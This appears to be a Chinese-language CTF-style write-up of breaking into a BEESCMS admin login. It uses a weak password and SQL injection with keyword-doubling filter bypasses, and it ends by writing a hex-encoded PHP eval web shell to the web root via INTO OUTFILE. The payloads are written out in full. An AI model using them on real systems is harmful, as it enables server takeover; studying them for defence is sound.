首先通过御剑可以扫描出来网址的后台登陆页面
/admin/login.php 登陆页面是这个
一开始 我使用admin admin 的弱口令登陆进去找到上传文件的地方 想着上传一句话木马 但是好像发现不行
所以去谷歌了一下 beescms的漏洞 在后台登陆页面的user 有存在sql注入
https://www.ohlinge.cn/php/beescms_sqli.html
所以让我们来试一下吧
首先在用户名 中 输入 ' 出现了报错
然后输入 ' or 1=1 # 就返回了正常的登陆失败的页面
然后看之前的sql 回显可以看出有五个字段 所以尝试 ' union select 1,2,3,4,5 #
但是发现 union 和 select 好像都被过滤了 所以首先尝试 复写绕过 uniunionon selselectect
然后发现 select 是可以的 union似乎有点不一样 直接返回了 ununionion 所以试试空格 un union ion
这样是ok的 发现会返回正常的登陆错误的页面了
admin ' un union ion seselectlect 1,2,3,4,5 #
既然已经知到闭合结构了 所以开始注入
这里可以发现 注入失败的时候是有回显的 所以我先用报错注入试了一下 发现是可以的 爆出当前数据库
admin ' a and nd extractvalue(1,concat(1,database()))#
但是!!!! 后面转念一想发现不对 ! 这里明明是可以弱口令 admin admin 进去 所以我们或者密码 就没有必要了 我们应该传一个一句话木马上去! 然后用蚁剑进行连接
在上传马 之前先 尝试一下上传一个普通的文件上去
然后在一些简单的尝试之后发现过滤规则是一样的 所以就还是和之前那样 复习绕过
admin ' un union ion seselectlect 1,2,3,4,5 in into outoutfilefile '/var/www/html/hhh.php'#
然后我们上传一句话木马上去
admin ' un union ion seselectlect '<?php @eval($_POST[cmd]); ?>',2,3,4,5 in into outoutfilefile '/var/www/html/h.php'#
这里看起来好像是传上去了但是看了下源码发现不对 < 和 > 都被转义了
所以怎么办呢 hex 编码绕过试试吧
admin ' un union ion seselectlect 1,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b203f3e,3,4,5 in into outoutfilefile '/var/www/html/b.php'#
看了下成功传上去了
成功了